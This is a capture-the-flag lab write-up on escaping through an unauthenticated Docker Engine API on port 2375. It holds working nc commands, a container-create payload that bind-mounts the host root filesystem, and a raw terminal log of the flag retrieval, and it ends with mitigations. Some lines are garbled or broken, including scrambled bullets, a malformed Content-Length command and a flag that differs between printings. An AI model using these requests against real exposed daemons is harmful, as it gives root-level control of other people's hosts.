

Docker Lab 4: Escaping an Exposed Docker Container

Summary

This lab exposes the Docker Engine API on TCP port `2375` without authentication.

That is enough to fully compromise the host, because the Docker daemon is

effectively root on the machine. Once you can create containers through the API, you can mount the host `/` filesystem into a container and read sensitive files such

as

`/root/flag.txt`.

The target used in this lab was:

- Host: `172.31.34.253`
- Docker API: `2375/tcp`
- Result: unauthenticated API access and successful flag retrieval

Impact

An exposed Docker API on `2375` is a critical security issue.

With access to the daemon, an attacker can:

- list and inspect containers
- start privileged containers
- mount host paths into a container
- read or modify files on the host
- obtain root-equivalent control of the machine

In this lab, the daemon accepted API requests directly over TCP and allowed a

helper container to be created with `/` mounted read-only from the host.

Reconnaissance

The first step was checking whether the host was reachable with `nc`.

The key result was:

- `22/tcp` responded
- `2375/tcp` responded

Port `2375` is the default plaintext Docker API port. If it is exposed on a network interface, Docker administrative actions can usually be performed without credentials unless additional controls are in place.

Verification of the Docker API

Once the port was confirmed open, the Docker API was queried directly with `nc`:

```
printf 'GET /version HTTP/1.0\r\n\r\n' | nc -w 2 172.31.34.253 2375
```

The response confirmed:

- Docker Engine `24.0.6`
- API version `1.43`
- `Ostype: linux`

That verified the service was a live Docker daemon and not just an arbitrary TCP listener.

Container Enumeration

The next useful endpoint was:

```
GET /containers/json?all=1
```

This returned a running container named `/adoring_shamir` using the image

```
shell-as-a-service , with a process command of: socat tcp-  
listen:1337,fork,reuseaddr EXEC:/bin/bash
```

That container was not required for the final exploit. It simply confirmed the target environment was a Docker-based lab.

Exploitation Strategy

The exploit was straightforward:

- . Use the Docker API to create a new helper container.
 - . Mount the host filesystem into that container as `/host` .
 - . Execute `cat /host/root/flag.txt` inside the helper container. .
- Read the output from the container logs.

This works because the Docker daemon runs with the privileges necessary to mount

host paths. If an attacker can control container creation, they can ask Docker to expose

sensitive host files into a new container. **Exploit Request**

The helper container was created with a JSON payload similar to this:

```
{  
  "Image": "shell-as-a-service",    "Cmd": ["bash", "-  
lc", "cat /host/root/flag.txt"],  
  "HostConfig": {  
    "Binds": ["/:/host:ro"]  
  },  
  "AttachStdout": true,  
  "AttachStderr": true,  
  "Tty": false  
}
```

The important part is the bind mount:

- `/:/host:ro`

That maps the host root filesystem into the container at `/host` with

read-only access.

Then the command reads:

- `/host/root/flag.txt`

PoC

The script:

- checks `/version` enumerates
- containers creates a helper container
- mounts the host root filesystem reads the
- flag from `/root/flag.txt`
-

Root Cause

The root cause is Docker Remote API exposure on an untrusted network interface without authentication or transport protection.

In practical terms:

- the Docker daemon trusted remote clients no TLS client
- authentication was required container creation was allowed
- over the network host filesystem mounts were therefore
- attacker-controlled

Why This Becomes Host Compromise

Docker is not a sandbox boundary in the same sense as a normal user-mode

application. If you can control the daemon, you can usually:

- mount the host filesystem
- start containers with elevated capabilities access
- host devices
- escape into host context through filesystem or namespace abuse

That is why port `2375` should never be left exposed.

Mitigations

Recommended mitigations:

- . Do not expose 2375 on any network interface.
- . Require Docker API over TLS if remote access is necessary.
- . Restrict access using firewall rules and host-level network controls.
- . Prefer rootless Docker where possible.
- . Audit containers and daemon configuration for unnecessary privileges.
- . Avoid bind-mounting sensitive host paths into containers.

Reproduction Notes

The successful flow was:

- . Confirm 2375/tcp was open with nc .
 - . Query GET /version to verify the Docker API.
 - . Query GET /containers/json?all=1 to enumerate the environment. .
- Create a helper container with /:/host:ro .
- . Run cat /host/root/flag.txt .
 - . Read the flag from the container log output.

Retrieved Flag

The flag retrieved during testing was:

```
ctf{ohfeebaesaeng4tohlNeelhah0aih4Ae}
```

Appendix: Raw nc Example

For manual testing, this request is enough to verify the daemon:

```
printf 'GET /version HTTP/1.0\r\n\r\n' | nc -w 2 172.31.34.253 2375
```

To enumerate containers:

```
printf 'GET /containers/json?all=1 HTTP/1.0\r\n\r\n' | nc -w 2 172.31.34.
```

```

(venv)-(kali@kali)-[~/cc2]
└─$ printf 'GET /version HTTP/1.0\r\n\r\n' | nc -w 2 172.31.34.253 2375
HTTP/1.0 200 OK
Api-Version: 1.43
Content-Type: application/json
Docker-Experimental: false
Ostype: linux
Server: Docker/24.0.6 (linux)
Date: Mon, 11 May 2026 17:43:30 GMT
Content-Length: 830

{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"24.0.6","Details":{"ApiVersion":"1.43","Arch":"amd64","BuildTime":"2023-09-04T12:32:16.000000000+00:00","Experimental":false,"GitCommit":"1a79695","GoVersion":"go1.20.7","KernelVersion":"5.10.0-38-cloud-amd64","MinAPIVersion":"1.12","Os":"linux"}},{"Name":"containerd","Version":"1.6.24","Details":{"GitCommit":"61f9fd88f79f081d64d0fa3b1a0dc71ec870523"}},{"Name":"runc","Version":"1.1.9","Details":{"GitCommit":"v1.1.9-0-gccaefc"}},{"Name":"docker-init","Version":"0.19.0","Details":{"GitCommit":"de40ad0"}},{"Name":"24.0.6","ApiVersion":"1.43","MinAPIVersion":"1.12","GitCommit":"1a79695","GoVersion":"go1.20.7","Os":"linux","Arch":"amd64","KernelVersion":"5.10.0-38-cloud-amd64","BuildTime":"2023-09-04T12:32:16.000000000+00:00"}]}

(venv)-(kali@kali)-[~/cc2]
└─$ printf 'GET /containers/json?all=1 HTTP/1.0\r\n\r\n' | nc -w 2 172.31.34.253 2375

(venv)-(kali@kali)-[~/cc2]
└─$ printf 'GET /containers/json?all=1 HTTP/1.0\r\n\r\n' | nc -w 2 172.31.34.253 2375

(venv)-(kali@kali)-[~/cc2]
└─$ cat > payload.json << 'EOF'
{
  "Image": "shell-as-a-service",
  "Cmd": [ "bash", "-lc", "cat /host/root/flag.txt" ],
  "HostConfig": {
    "Binds": [ "/:/host:ro" ]
  },
  "AttachStdout": true,
  "AttachStderr": true,
  "Tty": false
}
EOF

```

```

(venv)-(kali@kali)-[~/cc2]
└─$ CONTENT_LENGTH=$((nc -c < payload.json))

(
  printf "POST /containers/create HTTP/1.0\r\n"
  printf "Host: 172.31.34.253\r\n"
  printf "Content-Type: application/json\r\n"
  printf "Content-Length: $((nc -c < payload.json))\r\n"
  printf "Content-Length: $((nc -c < payload.json))\r\n"
) | nc -w 3 172.31.34.253 2375
HTTP/1.0 201 Created
Api-Version: 1.43
Content-Type: application/json
Docker-Experimental: false
Ostype: linux
Server: Docker/24.0.6 (linux)
Date: Mon, 11 May 2026 17:44:31 GMT
Content-Length: 88

{"Id":"5890f10868093a1fc58f7368c7cb5a0ca7231c386c697020177fd5e635cc9c4c","Warnings":[]}

(venv)-(kali@kali)-[~/cc2]
└─$ printf 'POST /containers/5890f10868093a1fc58f7368c7cb5a0ca7231c386c697020177fd5e635cc9c4c/start HTTP/1.0\r\n\r\n' | nc -w 2 172.31.34.253 2375

(venv)-(kali@kali)-[~/cc2]
└─$ printf 'POST /containers/5890f10868093a1fc58f7368c7cb5a0ca7231c386c697020177fd5e635cc9c4c/start HTTP/1.0\r\n\r\n' | nc -w 2 172.31.34.253 2375

(venv)-(kali@kali)-[~/cc2]
└─$ printf 'POST /containers/5890f10868093a1fc58f7368c7cb5a0ca7231c386c697020177fd5e635cc9c4c/start HTTP/1.0\r\n\r\n' | nc -w 2 172.31.34.253 2375
HTTP/1.0 204 No Content
Api-Version: 1.43
Docker-Experimental: false
Ostype: linux
Server: Docker/24.0.6 (linux)
Date: Mon, 11 May 2026 17:45:20 GMT

(venv)-(kali@kali)-[~/cc2]
└─$ printf 'GET /containers/5890f10868093a1fc58f7368c7cb5a0ca7231c386c697020177fd5e635cc9c4c/logs?stdout=1 HTTP/1.0\r\n\r\n' | nc -w 2 172.31.34.253 2375
HTTP/1.0 200 OK
Content-Type: application/vnd.docker.multiplexed-stream
Docker-Experimental: false
Ostype: linux
Server: Docker/24.0.6 (linux)
Date: Mon, 11 May 2026 17:45:38 GMT

6ctf[ohFreebaesaeng4tohlNee1hah0aiH4Ae]

```